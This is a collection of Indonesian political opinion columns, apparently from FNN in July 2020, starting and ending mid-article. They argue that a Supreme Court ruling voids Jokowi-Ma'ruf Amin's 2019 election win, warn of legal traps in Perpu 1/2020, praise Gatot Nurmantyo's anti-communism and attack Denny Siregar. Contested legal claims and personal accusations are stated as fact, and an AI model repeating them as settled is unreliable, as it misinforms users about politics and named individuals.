berpengaruh terhadap Putusan Mahkamah Konstitusi (MK) yang telah menolak gugatan Prabowo-Sandi. Terhadap hal ini tentu harus diperdalam, dan masih bisa debat lanjutan. Indikatornya antara lain : Pertama, Permohonan Uji Materil oleh Bu Racmawati cs terregister di Mahkamah Agung pada tanggal 14 Mei 2019. Artinya, sebelum Putusan MK 27 Juni 2019. Maknanya adalah permohonan Uji Materil tersebut sangat berkaitan dengan Pilpres 2019. Bukan berdiri sendiri. Dalam permohonan Pemohon pun disinggung konteks Pilpres 2019. Kedua, Majelis Hakim yang memeriksa dan mengadili permohonan Uji Materil Pasal 3 ayat (7) PKPU tersebut patut mengetahui dan menyadari bahwa Uji Materiel ini berkaitan dengan proses Pilpres 2019. Sehingga jika asas retroaktif tak bisa diberlakukan, Putusan MH akan tegas menyatakan bahwa Putusan MA Nomor 44 P/HUM/2019 diberlakukan untuk Pilpres yang akan datang (penafsiran argumentum a contrario). Ketiga, tafsir bahwa MK telah memenangkan pasangan Jokowi-Ma'ruf Amin, sehingga Putusan MA tidak berpengaruh pada hasil Pilpres, bisa keliru total. Masalah yang diputuskan MA Nomor 44 P/HUM/2019 adalah tidak memiliki kekuatan hukum mengikatnya Pasal 3 ayat (7) PKPU Nomor 5 tahun 2019. Sedangkan Pasal tersebut justru menjadi dasar hukum dari penetapan Pasangan Jokowi-Ma'ruf. Keempat, "disembunyikan"nya Putusan MA ini selama semabilan bulan adalah bukti bahwa Putusan MA Nomor 44 P/HUM/2019 ini sangat berpengaruh pada keabsahan hasil Pilpres 2019. Jika tidak, maka MA serta-merta akan meng-upload atau mengumumkan kepada masyarakat beberapa setelah diputuskan tanggal28 Oktober 2019. Demi kepastian hukum. Pertanyaan, siapakah pihak-pihak yang terlibat dalam "penyembunyian" atau "penggelapan" Putusan MA Nomor 44 P/HUM/2019 ini? Siapapun mereka, harus dituntut dan dipertanggungung jawabkan kepada rakyat. Kita semua berharap pimpinan Mahkamah Agung baru, Muhammad Syaarifuddin melakukan pengusutan internal. Hasilnya diumumkan kepada rakyat, mengapa dan apa Putusan MA Nomor 44 P/HUM/2019 disembunyikan sembilan lamanya dari rakyat? Kita berharap dan berdo'a semoga tidak ada jejak dan sidik jarinya mantan Ketua MA Hatta Ali dan mantan Sekjen MA Nurhadi di skandal penyembunyian Putusan MA Nomor 44 P/HUM/2019 ini. Sebab bila ada sidik jari, bisa memperburuk wajah dan keagungan MA di mata masyarakat. Apalagi Nurhadi sedang ditahan oleh KPK untuk kasus korupsi dan penyuapan . Sedangkan Hatta Ali baru saja pensiun dari Hakim Agung dan Ketua MA pada akhir bulan April 2020 lalu. Jadi, di sini patut diduga kuat ada skandal politik dan hukum yang sangat memalukan. Ada "gaslighting" dan ada "corruption". Sinyal dari terkuaknya skandal hukum dan politik besar. Namun yang jelas adalah, dengan Putusan MA No 44 P/HUM/2019 yang diumpetin selama sembilan bulan tersebut, akan menjadi bukti bahwa kemenangan pasangan Jokowi-Ma'ruf Amin sebenarnya sangat bermasalah. Cacat politik dan cacat hukum. Bila DPR menangkap aspirasi rakyat yang mempermasalahkan kualitas dan legitimasi Presiden, maka Putusan MA tersebut dapat dijadikan dasar bagi proses pemakzulan Presiden. Putusan MA No. 44 P/HUM/ 2019 itu dalam kaitan keabsahan pasangan Jokowi-Ma'ruf Amin, bukanlah "plintiran" tetapi "suara hukum" dari keadilan dan kebenaran. Sebagai hiburan, khususnya kepada para penjilat politik dan hukum, dihimbau untuk membaca, untuk yang belom pernah membaca, dan membaca ulang bagi yang pernah membaca, bukunya Mark Green & Ralph Nader yang berjudul "Fake President: Decoding Trump's Gaslighting, Corruption, and General Bullsh*t". Semoga tidak gagal faham. Dengan alasan apapun "Fake President" tidak boleh dibiarkan terjadi. Dampaknya sangat tidak baik bagiu pejalanan bangsa untuk mencapai cita-cita dan tujuan bernegara. Siapapun, kapanpun dan dimanapun itu. Karenanya harus diakhiri. Penulis adalah Pemerhati Politik dan Kebangsaan.

Pejabat Pemulihan Ekonomi Diburu Risiko Hukum

by Dr. Margarito Kamis SH. M.Hum Janganlah engkau menjadi lampu yang membakar diri lalu menerangi orang lain. Keluarkan kecintaanmu terhadap dunia karena aku tak akan menyatukan antara cinta dunia dan cinta pada-Ku pada hati yang sama (Al-Ghazali). Jakarta FNN- Rabu (08/07). Pandemi corona masih terus menggerogoti daya tahan Indonesia. Orang sakit dan mati terus saja terjadi dari hari ke hari, sejauh ini. Akibat non klinis, terutama bidang ekonomi yang di bawanya pun luar biasa mengerikan. Sejumlah ekonom kredibel telah menemukan kenyataan bahwa perekonomian nasional terus memburuk. Orang kehilangan pekerjaan dan susah cari makan terus saja muncul. Hukum dan politik juga sama. Berantakan di sana-sini. Hukum menjadi andalan terhebat untuk mengepung orang-orang kritis. Kritik terhadap Presiden, disambut aparatur hukum dengan penangkapan dan penahanan. Hebatkah ini? Mungkin iya. Tetapi di dalamnya juga menyemburkan sisi lain yang mengerikan. Sisi itu adalah keangkuhan politik. Jebakan Perpu Administrasi negara, semenjak krisis ekonomi tahun 1929, dikenal sebagai unit terkompleks dalam organisasi negara. Dan administrasi keuangan negara, muncul sebagai sub-unit dalam administrasi pemerintahan terkompleks. Kompleksitas itu, mungkin ada yang tidak menyukainya. Itu merupakan konsekuensi langsung dari keharusan politik. Uang yang dikelola oleh kementerian dan lembaga misalnya, jelas. Uang itu bukan milik pribadi Presiden, Menteri, Sekjen, Dirjen, Direktur, dan Deputi dan lainnya. Bukan. Ini uang negara. Setidaknya bukan uang pribadi semua aparatur di dalam kementerian itu. Konsekuensinya pengeloaan dan tanggung jawab harus jelas pada semua aspeknya. Kejelasan tanggung jawab, tak bisa dikurangi dalam keadaan apapun dan dengan alasan apapun. Memang tatanegara dan administrasi negara kuno dan konyol, menyodorkan jalan keluar dalam mengatasi soal ini. Jalan keluarnya adalah mengaitkan tindakan yang melampaui batas hukum dengan tujuan dan manfaat besar tindakan itu. Esensi doktrin kuno itu adalah dalam keadaan darurat, aparatur negara bisa mengambil tindakan administrasi melampaui batasan hukum yang tersedia. Untuk mencapai tujuan dan manfaat yang lebih besar. Sesederhana itukah? Tidak juga. Mengapa? Manfaat itu harus dipertalikan secara ketat dengan keadaan yang nyata, dan obyektif. Keadaan nyata itu tidak bisa diperoleh dengan cara dibayangkan atau dirancang secara hipotetik. Apalagi dikarang-karang. Keadaan nyata itu harus memiliki bentuk obyektif –terlihat secara nyata. Dapat diukur dan dicek - oleh semua pihak. Pembaca FNN yang budiman, administrasi negara, setidaknya administrasi pemerintahan, dilaksanakan berdasarkan hokum. Bukan berdasarkan perasaan. Mengapa pakai hukum, bukan perasaan? Hukum dapat dicek. Sedangkan perasaan tidak bisa dicek. Hukum mengandalkan obyektifitas. Sementara perasaan mengandalkan subyektifitas. Obyektifitas disajikan oleh pikiran rasional untuk menghadirkan patokan bersama. Patokan bersama menjadi cara orang-orang rasional menyerukan agar orang memiliki harapan, atau berpengharapan. Karena hukum bekerja berdasarkan norma, yang semua orang dapat mengenal dan membacanya. Perasaan tidak dapat dikenal. Tidak menghadikan obyektifitas. Tuga tidak menghadirkan patokan bersama. Tidak. Perasaan seseorang berbeda dengan perasaan orang lain. Disebabkan tidak dapat dijadikan patokan bersama, maka orang tidak memiliki alasan untuk berpengharapan. Suka atau tidak, perasaan dapat berubah-ubah. Tergantung pada suasana hati dan keadaan. Perasaan justru menjadi pangkal lahirnya kolusi, nepotisme yang menjadi terdekat ke korupsi. Perpu No.1/2020 Jebakan Berbahaya Perpu Nomor 1 Tahun 2020 yang judulnya panjang sekali itu, pantas dibicarakan dalam konteks di atas. Perpu ini, sepintas terlihat hebat. Tetapi sejatinya justru menyediakan begitu banyak jebakan berbahaya. Tidak tersedia kepastian yang diperlukan menurut prinsi-prinsip hukum untuk dijadikan dasar yang kokoh dan tak meragukan tindakan administrasi negara, merupakan salah satu jebakan itu. Pasal 11 ayat (3) Perpu misalnya, layak disodorkan sebagai ilustrasi adanya ketidakmemadaian kepastian hukum. Dua soal hukum muncul dari pasal ini. Pertama, apa parameter hukum untuk; a penempatan dana. b. investasi atau c. penjaminan? Kedua, siapa yang menentukan, dalam makna memutus satu di antara tiga tindakan yang dimungkinkan itu? Ketiga, sahkah satu diantara tiga hal dalam pasal di atas dilakukan oleh, misalnya Menteri Keuangan atau Menteri BUMN? Bila satu di antara dua menteri ini melakukan tindakan itu dianggap sah, apa dasarnya? Perpu ini sebagai dasarnya? Tidak. Mengapa? Terminologi pemerintah dalam pasal ini (pasdal 11) Perpu tidak menunjuk menteri. Terminologi ini menujuk Presiden. Dapatkah Menteri melakukan tindakan itu? Bisa, tetapi bersyarat. Syaratnya harus dibuat peraturan tertentu. Peraturan itu harus secara spesifik menguasakan kewenangan Presiden kepada Menteri untuk melakukan tindakan dalam pasal 11 itu. Ini menarik. Ini hanya bisa dilakukan dengan satu bentuk hukum spesifik yang menjabarkan atau mengatur kewenangan, lengkap dengan ruang lingkupnya. Sayangnya PP Nomor 23 Tahun 2020 Tentang Pelaksanaan Program Pemulihan Perekonomian Nasional, sebut saja begitu mengingat judul PP kelewat panjang, juga tidak menunjuk mengatur menteri siapa yang bertanggung jawab atau diberi kuasa oleh Presiden melakukan tindakan itu. Persis Perpu, PP ini juga menggunakan terminologi umum, yakni pemerintah. Seharusnya PP ini berisi pengaturan kuasa kewenangan itu secara spesifik kepada satu atau dua menteri. Bila diberi kuasa kepada dua menteri, maka harus diatur batas kewenangan kedua menteri itu, serta hubungan kewenangan kedua menteri itu. Ini telah tidak dilakukan. Takut itu Bagus Takut atas konsekuensi hukum yang muncul dikemudian hari setelah program pemulihan ekonomi nasional dilaksanakan, hemat saya itu bagus. Bagus, karena dua hal; Pertama, tanggung jawabn administrasi negara itu bersifat individual. Kedua, baik Perpu maupun PP sama-sama punya kelemahan yang sangat fatal. Baik Perpu maupun PP sama-sama tidak menyediakan skema kewenangan dan syarat-syarat hukum yang bersifat teknis. Perpu dan PP berbicara dengan bahasa yang sangat umum. Bahasa yang umum justru menghasilkan ketidakpastian. Ketidakpastian inilah yang membahayakan setiap pejabat. Penggunaan bahasa yang umum, mungkin dipilih sebagai cara menyediakan ruang diskresi sebesar mungkin kepada menteri, dirjen, deputi dan direktur. Diskresi bukan barang terlarang dalam penyelenggaraan administrasi negara. UU Nomor 30 Tahun 2014 Tentang Administrasi Pemerintahan membenarkan aparatur administrasi negara mengambil diskresi. Tetapi UU ini mengatur secara spesifik syarat, tata cara dan tujuan diskresi. Disebabkan diskresi diikatkan pada syarat, tata cara dan tujuan, maka diskresi tidak bisa begitu saja digunakan. Syarat cukup jelas digariskan dalam UU, juga tujuannya. Syarat tidak menyediakan ruang tafsir. Tujuan memerlukan tafsir. Ketepatan tafsir tergantung pada ketepatan merumuskan tujuan. Ketepatan merumuskan tujuan bergantung pada ketepatan identifikasi terhadap keadaan nyata secara obyektif. Pasal 11 ayat (5) Perpu misalnya terlihat menyediakan ruang diskresi itu. Kata-kata penempatan dana dan/atau investasi dapat dilakukan langsung oleh pemerintah dan/atau lembaga keuangan, manajer investasi dan/atau lembaga lain yang ditunjuk. Soal hukum dibawah ini harus dibuat jelas. Soal-soal itu adalah: (a) bagaimana parameter untuik pemerintah memilih penempatan dana dan bagaimana parameneter pemerintah memilih investasi. (ii) Apa saja lembaga keuangan itu. Bank atau nion bank. Mengapa Bank dan mengapa non bank. (c) Apa parameter menunjuk menajer investasi. (d) Apa yang dimaksud dengan lembaga lain yang ditunjuk? Bisakah soal-sioal itu dipecahkan dengan diskresi? Bisa saja, sejauh pejabat itu tahu mendefenisikan, dalam arti memberi bentuk terhadap syarat diskresi. Juga tepat dalam mengidentifikasi keadaan, sehingga diskresi itu tidak mengaburkan tujuan diskresi. Rumit memang, dan jelas mengganggu kenyamanan kerja pejabat. Itu sebabnya logis pejabat merasa ketakutan dalam bertindak. Lain soalnya bila kriteria-kriteria atas soal-soal di atas diatur dalam PP Nomor 23 Tahun 2020. Sayangnya tidak. Itulah masalahnya. Suka atau tidak, soal-soal di atas itulah yang akan menajdi obyek pemeriksaan pengelolaan dan tanggung jawab pejabat itu oleh BPK. BPK tidak mungkin tidak mempertanyakan, misalnya mengapa anda memilih bank, bukan non bank atau sebaliknya. Ini soal prosedur. Prosedur adalah cara memastikan kebenaran mengejar tujuan besar yang hebat itu telah dicapai dengan cara yang benar. Ini penting. Lebih dari segalanya. Prosedur juga menjadi pijakan utama, satu-satunya penegak hukum membangun konstruksi hukum tentang ada atau tidak niat melakukan perbuatan melawan hukum, sekaligus menyatakan ada atau tidaknya tindakan melawan hukum. Memeriksa dasar hukum atas tindakan itu, telah menjadi pekerjaan standar BPK dalam tindakan pemeriksaan pengelolaan dan tanggu jawab atas keuangan negara. BPK akan selalu begitu. Itulah BPK. Hidung dan penciumannya akan diarahkan ke soal-soal itu. Penciuman profesionalnya akan menuntun BPK untuk terus bertanya mana dasar hukum untuk tindakan ini dan itu. Mereka, seperti biasa, akan meminta semua itu –dasar hukum dan data teknis- disediakan dan disajikan layaknya sajian makanan pembesar, selengkap mungkin diletakan di atas meja pemeriksaan. Prosedur-prosedur tindakan administrasi negara dalam merealisasikan program pemulihan perekonomian nasional, tidak bisa dikarang oleh pejabat. BPK akan selalu mau mendengar suara manis pejabat yang diperiksa. Tetapi semanis dan seindah apapun suara pejabat, tetap tak mengubah apapun. BPK tak usah dibuat tersipu dengan manisnya tujuan yang didendangkan pejabat. Tidak. BPK hanya perlu dibuat tersipu, riang dan gembira dengan meletakan Perpu, PP, Perpres, Kepres dan Kepmen di atas meja pemeriksaan. Pejabat, andai bisa, sajikan saja itu sebagai nanyian terindah di musim pemeriksaan BPK. Sekjen, Dirjen dan Irjen, juga Deputi dan Direktur, tak perlu mengarang indah lalu menulis karangan tentang tujuan, keadaan nyata dan dasar hukum. Sekjen, Dirjen dan Irjen, hanya perlu dan harus memeluk erat seerat pelukan Dia yang dicintai dengan dasar hukum yang kokoh, data yang valid dan obyektif. Itu saja. Hukum telah begitu terang melarang Sekjen, Dirjen, Irjen, Deputi dan Direktur menampilkan diri sebagai pahlawan. Hukum mengharus semua orang itu berpegang teguh pada hukum dan data obyektif. Hukum akan memburu siapapun pejabat, yang teridentifikasi mengabaikan hukum dan data obyektif dalam bertindak. Mengerikan. Sekarang BPK belum akan masuk. Tahun anggaran belum berakhir. Hukum belum memungkinkannya. Itu jelas. Tidak mungkin saat ini pemerintah membuat Laporan Hasil Pemeriksaan (LHP). Tetapi semua akan berubah segera setelah tahun anggaran berakhir. Sesaat setelah itu barulah hukum memungkinkan BPK masuk memeriksa. Sekjen, Irjen, Dirjen, Deputi dan Direktur hanya perlu tahu bahwa hukum terlalu buta untuk bisa mengenal kata-kata pahlawan. Bertekadlah sekuat yang bisa, dan nyatakanlah sekuat orang beriman bahwa tuan-tuan tak sudi jadi pahlawan kesiangan. Pastikanlah bahwa yang tuan-tuan besar rindukan dan inginkan hanyalah patuh pada hukum. Hindarkanlah sekuat mungkin kekeliruan-kekeliruan kecil. Sadarilah sedini mungkin kekeliruan yang mungkin terjadi. Akhir yang indah, dihasilkan oleh kemauan mengenal kekeliruan disaat ini. Esok yang indah bersama anak istri dan cucu-cucu tersayang dihasilkan dari takut pada hukum disaat ini. Bathin tak boleh tersiksa dihari esok. Tak usahlah jadi pahlawan, bila hari-hari esok terus diintai kekeliruan kecil saat ini. Takut pada hukum, sejatinya bagus untuk semua aspek untuk tuan-tuian. Penulis adalah Pengajar HTN Universitas Khairun Ternate

Gatot Nurmantyo dan Gerakan Anti RUU HIP. Catatan Atas Wawancaran Dengan Rosi

by Dr. Syahganda Nainggolan Jakarta FNN – Selasa (07/07). Kemarin berbagai orang saling memposting potongan wawancara Rosi Kompas TV dengan Gatot Nurmantyo, mantan Panglima TNI. Wawancana terkait kebangkitan Komunisme di Indonesia. Video itu ternyata viral bersamaan dengan laporan gelombang aksi menolak RUU HIP (Haluan Ideologi Pancasila) yang dipelopori FPI dan MUI di seluruh Indonesia. Saya tertarik atas video tersebut. Meski kemudian saya check ke YouTube, ternyata video itu telah di upload disana setahun lalu. Namun, setahunpun ternyata tidak lama untuk melihat bagimana ideologi Gatot Nurmantyo (GN), yang setahun ini belum muncul lagi ke permukaan politik. Terdapat beberapa informasi yang menarik dari video ini. Pertama, GN menyatakan yakin bahwa Komunisme akan bangkit di seluruh Indonesia. Kedua, pemerintahan Jokowi meminta agar penanganan terhadap Komunisme dan orang-orang yang menggerakkannya diperlakukan dengan lunak saja. Ketiga, korban terbesar dalam sejarah pemberontakan komunis di masa lalu adalah para ulama dan umat Islam. Sedangkan pertanyaan menarik yang diajukan Rosi ada tiga. Pertama,) apakah GN yakin dengan informasi bangkitnya Komunisme di Indonesia? Kedua, apakah GN bukan bermaksud memprovokasi rakyat Indonesia terkait isu komunisme ini? Ketiga, apakah GN tidk takut dengan resiko yang mungkin dia hadapi dengan statusnya sudah purnawirawan saat ini? GN menyatakan bahwa pernyataan Rifka Tjiptaning tentang kebangkitan anak-anak PKI, yang jumlahnya 20-an juta sebagai rujukan dasar. Rujukan lainnya tentang kebangkitan Komunisme ada beberapa. Pertama, adanya kaderisasi partai politik tertentu ke PKC (Partai Komunis Cina), RRC yang secara rutin dan berkala. Jedua, adanya pelemahan ajaran agama dan Pancasila dalam sistem resmi kurikulum belajar pendidikan saat ini. Ketiga, adanya pertemuan-pertemuan politik anak-anak eks Komunis. Keempat, adanya distribusi kaos-kaos lambang Komunis Palu Arit meluas di Indonesia. Kelima, adanya razia buku-buku Komunis yang dilakukan jajaran militer. Tafsir Sejarah Sejarah tentunya bukan sebuah jalan lurus. Bukan pula rangkaian informasi berbasis tahun dan tanggal. Bukan pula sebuah gelombang se arah. Namun, sejarah adalah sebuah rangkaian peristiwa di masa lalu yang memiliki hukum sebab akibat dan mempunyai gelombang dengan arus berlawanan serta memiliki berbagai aktor dalam menentukan arahnya. Sejak Amerika merelease keterlibatan CIA dalam peristiwa G30S PKI tahun 1965, sejarah kelam tahun 1965 yang selama ini dibebankan kepada Komunis atau PKI menjadi sebuah pertanyaan baru. Bukankah CIA yang membantu tentara saat itu untuk menggulingkan Sukarno dan membantai orang-orang Komunis di Indonesia? Hak kaum Komunis atau anak-anaknya tentu adalah hak historis yang sah untuk menuntut pembersihan nama baik mereka. Juga membenarkan tafsir sejarah di masa lalu. Namun, bagi ummat Islam, Komunisme sebagai ancaman tentu juga sebuh keniscayaan sejarah. Pertama, Komunisme telah terbukti sepanjang sejarah kehadirannya sebagai ideologi anti Tuhan. Kedua, Komunisme jika berkuasa akan melakukan pemerintahan diktator proletariat, yang menihilkan pemilikan individual, menihilkan demokrasi dan kebebasan individual. Ketiga, Komunis jika berkuasa akan menjadikan agama sebagai musuh, sehingga eksistensi agama hilang sebagai ajaran kehidupan. Pandangan umat Islam atas Komunisme ini dengan demikian bersifat laten dan tidak terikat pada perubahan tafsir yang mungkin terjadi pada peristiwa G30S PKI. Sehingga, kebangkitan Komunisme di Indonesia tetap dianggap ancaman bagi Islam dan ummat Islam yang mayoritas di Indonesia. Lalu bagaimana meletakkan kepentingan anak-anak eks PKI versus kepentingan ummat Islam atas isu ini? Dendam Sejarah Gatot Nurmantyo menjelaskan pada Rosi bahwa anak-anak PKI ini mempunyai dendam sejarah. Sebaliknya, ulama ulama dan umat Islam tidak. Ulama-ulama, bahkan menurut GN, lebih besar korbannya dibanding PKI. Umat Islam selama ini menjadi korban dalam berbagai peristiwa masa lalu. Sejarah yang berdarah tentunya melahirkan dendam. Namun, dendam dalam teori konflik dan resolusi konflik tidak memberikan peluang bagi perdamaian. Perdamaian justru muncul kalau pihak-pihak yang bertikai di masa lalu mempunyai ruang intropeksi dan ruang komunikasi. Beberapa tahun lalu, Taufik Kiemas, berusaha menjembatani berbagai kelompok-kelompok yang bertikai di masa lalu. Taufik Kiemas mengajak untuk melupakan sejarah kelam itu. Setidaknya mengurangi dendam. Pertemuan periodik antara anak-anak tokoh Darul Islam, anak-anak eks PKI dan anak-anak eks Jenderal difasilitasinya berdialog secara rutin. Namun, kelihatannya, upaya almarhum Taufik Kiemas itu sirna saat ini. Ruang politik kita ternyata dipenuhi keinginan kebangkitan politik anti Islam dan "ajaran Komunisme" ,versus tentunya keinginan Islam untuk mempertahankan ajaran Islam sebagai acuan resmi berkehidupan berbangsa dan bernegara. Setahun setelah wawancara GN dengan Rosi itu, fenomena terkini, pertikaian antara orang-orang yang mendorong adanya Haluan Ideologi Pancasila vs. Ulama-ulama yang menolak RUU HIP itu merupakan fakta pertarungan ideologis yang sesungguhnya. Dapat dirujuk pada pikiran dan informasi GN setahun lalu tersebut. Ideologi Gatot Nurmantyo Meskipun wawancara GN dan Rosi di Kompas TV yang viral itu sudah berlangsung setahun lalu, namun dapat ditafsirkan bahwa GN mempunyai ideologi anti Komunisme yang tidak bisa ditawar. GN menjelaskan bahwa TNI ketika dia berkuasa ingin menghapuskan gerakan-gerakan anak-anak eks PKI tersebut. Namun pemerintahan Jokowi melarangnya. Dan menurut GN itu lah yang bisa dilakukan TNI saat itu, yakni memberikan peringatan akan bangkitnya Komunisme. Dalam video versi yang lengkap "Siapa Mau Nonton Nobar?", yang dapat dilihat di YouTube, GN mendapat argumen tantangan dari dua nara sumber yang hadir. Mereka mengatakan bahwa GN terlalu cepat menyimpulkan adanya gerakan Komunisme itu. Seorang sejarawan pada acara itu mengatakan bahwa tidak benar ada gerakan Komunis dan eks PKI saat ini. Fenomena Ribka Tjiptaning, anak eks PKI di DPR, menurutnya adalah hak seseorang yang saat ini tidak bisa dihindari. Khususnya, karena anak eks PKI bukanlah seorang Komunis. Selanjutnya, penggiat hak asasi manusia, sebagai penantang lainnya berharap GN tidak seperti jenderal orde baru, yang suka menuduh Komunis atau PKI bersalah di masa lalu. Namun, GN dalam video itu tetap berpegang teguh pada pandangannya bahwa ada kebangkitan Komunisme di Indonesia dan menilai Komunisme adalah ajaran sesat yang berbahaya. Menurutnya, dia hanya ingin kaum milenial yang minim informasi dapat mempelajari sejarah secara lengkap. Pandangan GN ini telah nenempatkan dirinya dan ketokohannya sebagai kontra kebangkitan Komunisme di Indonesia. Berbagai pernyataannya secara bersamaan, GN mengatakan bahwa ulama adalah pendiri bangsa, yang paling utama. Kedua hal ini menunjukkan posisi ideologi GN yang berhimpitan dengan ajaran Islam. Atau sering diidentikkan sebagai Pancasila yang menempatkan Ketuhanan Yang Maha Esa sebagai sila pertama dari yang utama. Penutup Setahun setelah video resmi di upload di YouTube, wawancara Rosi dan GN, yang kemudian potongannya viral saat ini, menjelaskan posisi ideologi GN yang pro Islam dan sekaligus anti Komunisme. Hal ini tentunya memberikan resonansi pada pertarungan kelompok-kelompok Islam melawan pengusung RUU HIP. Berbagai demonstrasi massa ummat Islam telah terjadi diberbagai daerah di Indonesia. Sehingga ditingkat pikiranpun telah terjadi resonansi. Yang dimaksud telah terjadi antara pikiran GN, pandangan HRS, pandangan ulama-ulama, dan khususnya pandangan dua ormas Islam besar, yakni NU dan Muhammadiyah. GN tentu bukan lagi tentara aktif. Namun, sebagai mantan Panglima TNI, pikiran ideologis yang viral tersebut memberi makna adanya konsistensi TNI. Setidaknya sampai beberapa tahun lalu, di mana GN berkuasa, menolak eksistensi Komunisme. Sehingga makna ini menambah moral gerakan umat dalam melawan kebangkitan Komunisme di Indonesia. Itulah makna sumbangan ideologis Gatot Nurmantyo. Penulis adalah Direktur Eksekutif Sabang Merauke Circle.

Denny Siregar Tak Perlu Minta Maaf ke Umat Islam

by Asyari Usman Jakarta FNN – Selasa (07/07). Pegiat medsos pro-penguasa, Denny Siregar (DS), didesak untuk meminta maaf kepada seluruh santri dan kiyai. Dia dituduh menghina dan melecehkan seluruh santri dengan postingan di akun Facebook-nya. Denny membuat judul “Adek2ku Calon Teroris yg Abang Sayang”, sewaktu dia menuliskan ‘nasihat’ kepada anak-anak yang memakai ikat kepala dengan kalimat syahadat. Warga Tasikmalaya, Jawa Barat, merasa terhina oleh postingan DS. Forum Mujahid Tasikmalaya (FMT) melaporkan Denny ke Polres setempat. Nah, perlukan DS meminta maaf? Menurut hemat saya, tidak perlu. Sebab, sedramatis apapun permintaan maaf dia, DS tidak akan berubah dari watak dan sifat aslinya. Sikap asli DS adalah membenci umat Islam garis lurus. Jadi, permintaan maaf DS, kalau jadi dia sampaikan, hanya sekadar basa-basi saja. Dia akan tetap Denny Siregar yang senantiasa berpikir, berbicara, dan bertindak membenci umat Islam. Karena itu, tidak ada gunanya dia meminta maaf. DS tidak akan beranjak dari ‘stand point’ kebenciannya terhadap umat Islam yang berakidah dan bermuamalah berdasarkan Alqur’an dan Hadist Nabi Muhammad Saw. Saya malah menyarankan agar DS melanjutkan saja misi anti-Islamnya. Melanjutkan terus saja aktivitas pelecehannya kepada umat Islam. Mungkin itu lebih baik bagi DS yang telah terbentuk sebagai orang yang tidak suka dengan Islam. Dan juga lebih baik bagi umat Islam. Mengapa? Karena umat bisa tetap terang melihat siapa DS yang sebenarnya. Lagi pula, apakah Anda berharap polisi akan berlaku adil dalam menindaklanjuti pengaduan FMT? Kalau saya tidak. Polisi dan instansi-instansi penegak hukum lainnya tidak akan pernah menegakkan keadilan selagi Denny Siregar sebagai subjeknya. Sudah berkali-kali dia dilaporkan dengan bukti-bukti yang jelas. Tidak ada hasil apa-apa. Dia malah semakin menjadi-jadi. DS adalah orang yang sangat diperlukan oleh para penguasa. Diperlukan dalam misi menghina-hina dan melecehkan umat Islam. Dia juga diperlukan untuk menjilat-jilat penguasa. Diperlukan dalam tugas untuk memancing-mancing emosi umat Islam. DS sangat berguna untuk membalik-balikkan akal sehat menjadi akal sakit. Dia juga diperlukan dalam misi penyebaran kesesatan berpikir dan kesesatan dalam berakidah. Toh, tugas itu telah dilaksanakan dengan sangat baik dan sempurna oleh DS. Telah sukses besar. Jadi, sekali lagi, umat Islam tidak usah mendorong DS meminta maaf. Dan juga tidak usah menerima pemintaan maaf dari dia kalau itu diucapkannya. Toh, dia telah bertekad akan melaporkan balik pelapor kalau tuduhan kepada dia tidak bisa dibuktikan. Artinya, DS tidak akan pernah punya itikad baik terhadap umat yang dilecehkannya. Tidak usah lagi suruh dia meminta maaf. Yang perlu dilakukan oleh umat adalah mencarikan solusi untuk Denny agar dia berhenti menjadi penghina dan pencerca Islam dan umat Islam. Solusi yang siftanya permanen. Yaitu, solusi dekonstruktif yang memerlukan kreativitas umat. Umat harus melakukan dekonstruksi terhadap pemikiran-pemikiran DS. Langkah dekonstruksi itu dapat saja dilakukan melalui dialog langsung dengan beliau dalam bahasa yang abstrak. Langkah itu jauh lebih penting, darpada mendorongnya untuk meminta maaf kepada umat Islam. Saya menduga, Denny lebih cepat memahami bahasa abstrak yang tak beraturan itu. Yang lazim disajikan tanpa kaedah atau norma yang jelas. Hanya dengan cara ini Denny Siregar akan senyap. Semoga berhasil. Penulis adalah Penulis Wartawan Senior

Skandal Politik Pilpres 2019 Dibuka Mahkamah Agung

by M Rizal Fadillah Jakarta FNN – Selasa (07/07). Tayangan video youtube dari konsultan media dan politik, yang juga penulis wartawan senior dari Forum News Network (FNN.co.id) Hersubeno Arief, cukup mengejutkan. Bahwa pada tanggal 28 Oktober 2019, Majelis Hakim Mahkamah Agung telah memutuskan, dengan mengabulkan permohonan uji materiel Bu Rachmawati Soekarnoputri cs. terhadap Peraturan KPU Nomor 5 Tahun 2019 tentang penetapan pemenang Pilpres 2019. Peraturan KPU Nomor 5 Tahun 2019 inilah yang digunakan oleh KPU sebagai alasan hukum untuk menetapkan Jokowi-Ma’ruf Amin sebagai pemenang Pilpres 2019. Anehnya, Putusan Mejelis Hakim Agung Nomor 44 P/HUM/2019 yang diputus tanggal 28 Oktober 2019 tersebut baru diumumkan ke publik Jum’at tanggal 3 Juli 2020. Bertindak sebagai Majelis Hakim Agung adalah Dr. H. Supandi SH. M.Hum sebagai Ketua Majelis, dan Dr. Irfan Fachruddin SH. CN. dan Is Sudaryono SH. MH. sebagai anggota majelis. Putusan ini baru diupload di website Mahkamah Agung pada Jum’at 3 Juli 2019. Dampaknya, selain mengakibatkan kejutan di masyarakat, termasuk luar negara, jugamembawa dampak politik dan hukum. Putusan ini menjadi dugaan telah terjadinya skandal besar, berupa penutupan informasi punlik yang sangat penting. Adapun diktum penting dari Putusan Majelis Hakim Agung tersebut, antara lain pada butir 2 dan 3, yaitu : “2. Menyatakan ketentuan Pasal 3 ayat (7) Peraturan Komisi Pemilihan Umum Republik Indonesia No 5 tahun 2019 tentang Penetapan Pasangan Calon Terpilih, Penetapan Perolehan Kursi dan Penetapan Calon dalam Pemilihan Umum, bertentangan dengan peraturan yang lebih tinggi yaitu Undang-Undang No. 7 tahun 2017 tentang Pemilihan Umum”. “3. Menyatakan ketentuan Pasal 3 ayat (7) Peraturan Komisi Pemilihan Umum Republik Indonesia No 5 tahun 2019 tentang Penetapan Pasangan Calon Terpilih, Penetapan Perolehan Kursi dan Penetapan Calon dalam Pemilihan Umum, tidak mempunyai kekuatan hukum mengikat ". Nah sangat jelas bahwa Penetapan Pasangan Jokowi Ma'ruf Amin sebagai Presiden/Wakil Presiden itu ditetapkan KPU berdasarkan Pasal 3 ayat (7) yang telah dinyatakan Mahkamah Agung "bertentangan dengan UU No 7 tahun 2017 tentang Pemilihan Umum" dan "tidak mempunyai kekuatan hukum mengikat". Oleh karena itu status Jokowi-Ma'ruf Amin sebagai Presiden/Wakil Presiden tersebut menjadi "batal demi hukum" (nietigheid van rechtswege) atau sekurang-kurangnya "dapat dibatalkan" (vernietigbaar). Aada tiga skandal yang berkaitan dengan Putusan Mahkamah Agung No. 44 P/HUM/2019 ini, yaitu : Pertama, pengendapan sampai 9sembilan bulan putusan penting adalah suatu kejahatan yang sangat luar biasa. Diduga melibatkan banyak 